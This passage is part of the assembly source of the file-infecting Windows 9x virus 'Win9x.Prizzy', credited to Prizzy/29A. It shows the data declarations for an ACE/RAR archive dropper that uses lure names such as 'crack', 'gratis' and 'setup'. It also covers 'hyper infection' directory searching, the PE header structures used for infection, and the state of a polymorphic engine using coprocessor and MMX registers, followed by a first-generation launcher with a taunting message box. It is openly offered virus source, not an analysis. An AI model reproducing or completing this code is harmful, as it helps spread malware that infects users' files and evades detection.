ACEf_CRC32 dd 0 ;thx Vecna's CRC32 function ACEf_TechType db 0 ;STORED=0, LZ1=1 ACEf_TechQual db 0 ACEf_TechParm dw 0 ACEf_Reserved dw 0 ACEf_FilenameSize dw 0 ;i don't know now ACEf_Filename db 8+1+3 dup (0) ;only short name we'll generate RAR_Magic db 'Rar!',1Ah,7,0 RAR_MagicSize equ 7 RAR_file_length equ RAR_Filename - RAR_HeaderCRC RAR_header_needed equ RAR_CompressedSize - RAR_HeaderCRC RAR_without_filename equ RAR_Filename - RAR_HeaderType RAR_header_start: RAR_HeaderCRC dw 0000h RAR_HeaderType db 74h ;FILE_HEAD RAR_FileFlags dw 08000h ;if (1=mult_vol) RAR_HeaderSize dw 0 ;i don't know 'cause RAR_FileName isn't defined RAR_CompressedSize dd 0 RAR_UnCompressedSize dd 0 RAR_HostOS db 0 ;DOS=0, OS2=1, WIN_32=2, UNIX=3 - but i don't know now RAR_FileCRC dd 0 ;haha, thx Vecna's CRC32 function RAR_TimeDate dd 12345678h RAR_VersionNeed db 14h RAR_Method db 30h RAR_FilenameSize dw 0 ;i don't know now RAR_FileAttribute dd 00000020h RAR_Filename db 8+1+3 dup (00h) ; kernel32's base address kernel_base dd 00000000h ;thx to z0mbie & Vecna gpa db 'GetProcAddress',0 pGetProcAddress dd 00000000h ;address of this function pGetDriveType dd 00000000h ;address of this function gdt_flags dd 00000000h ;fixed & remote disks ; dropper's name to ACE/RAR gen_archive_number equ 9 gen_archive_filename db 0,7,'install', 0,5,'setup', 0,3,'run', \ 0,5,'sound', 0,6,'config',0,4,'help', \ 1,6,'gratis', 1,5,'crack', 1,6,'readme' db 13,10 szAuthor db "Win9x.Prizzy - hyper infection, copro & mmx " db "poly-engine, ACE/RAR dropper",13,10 db "(c)oded by Prizzy/29A, welcome to my world..." align dword ;ÄÄÄ´ memory buffer which ain't in file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ file_end: ;work with filez filename_ptr dd 00000000h ;pointer to filename filename_size equ 260 ;MAX_SIZE defined by M$ filename db filename_size dup (00h) file_handle dd 00000000h ;open file handle ;are we inside IFS ? in_ifs db 00h ;are we in IFS now ? last_idt dq 0000000000000000h ;hyper infection search_filename db filename_size dup (00h) search_finished db 00h ;has hyper infection finished ? search_start db 00h ;have we begun yet ? search_address dd 00000000h ;address of dta's in memory search_plunge db 00h ;how many dirz we have in search_handle dd 00000000h ;FindFirstFile handle dta dta_struc <00h> ;main dta struc for search_handle ;structs of PE file mz_header IMAGE_DOS_HEADER <00h> ;old EXE header pe_signature dd 00000000h ;'PE\0\0' pe_header IMAGE_FILE_HEADER <00h> ;main header pe_optional IMAGE_OPTIONAL_HEADER <00h> ;advanced header pe_section IMAGE_SECTION_HEADER <00h> ;sections of EXE's pe_actsection dd 00000000h ;last section ;archivez struc Archive_BufSize equ 65536 ;this is only for EXE-SFX 'cause there's self-EXE encrypt code Archive_Number db 00h ;search in XXX,XXX-SFX (DOS),XXX-SFX (Win32) Archive_Buffer dd 00000000h ;readed buffer to search XXX_Magic Archive_Filename_Sz dd 00000000h ;file size of Archive_Filename Archive_Filename db filename_size dup(00h) file_in_mem dd 00000000h ;where's file to calculate CRC32 ;data used by Prizzy Polymorphic Engine (PPE) ppe_buf_start equ this byte rnd_last dd 00000000h ;last number in get_rnd32 function garbage_style db 00h ;have I use unmodify flags instructions ? used_regs db 00h ;used eax,ecx,edx... used_regs_mmx db 00h ;used mm0,mm1...mm7 used_regs_copro db 00h ;used st(0),st(1)...st(7) gl_index_reg db 00h ;which reg is index ? mem_address dd 00000000h ;where's copy of this virus poly_start dd 00000000h ;where poly decoder start poly_finish dd 00000000h ;where poly decoder finish recursive_level db 00h ;garbage recursive layer recursive_lmmx db 00h ;mmx recursive level copro_or_mmx db 00h ;index/code/counter in copro or mmx ? index_reg db 00h ;index_reg is in 0=base, 1=copro, 2=mmx index_reg_place db 00h ;register in (base/copro/mmx)-reg index_reg_get db 00h ;getted index_reg ? counter_reg db 00h ;counter_reg is in 0=base, 1=copro, 2=mmx counter_reg_place db 00h ;register in (base/copro/mmx)-reg code_reg db 00h ;code_reg is in 0=base, 1=copro, 2=mmx code_reg_place db 00h ;register in (base/copro/mmx)-reg code_value dd 00000000h ;startup code value code_value_add dd 00000000h ;next_code = code + this_c crypt_style db 00h ;(0=add/1=sub/2=xor) [---],reg32 counter_value dd 00000000h ;startup counter value counter_vfinish dd 00000000h ;finish counter value counter_back dd 00000000h ;address for JNZ jump compare_index db 00h ;where in compare_buffer dd 5 dup(00000000h) ;see for more infoz mem_end: ;ÄÄÄ´ first generation ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ first_generation: ; after installing, run it above mov dword ptr [original_ep], \ offset __fg_run_this - offset virus_start jmp virus_start __fg_run_this: ; display a simple message box push MB_OK @pushsz "Win9x.Prizzy - welcome to my world..." @pushsz "First generation sample" push 0 call MessageBoxA ; exit program - haha huahaha :)) push 0 call ExitProcess ;ÄÄÄ´ end of virus ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ end first_generation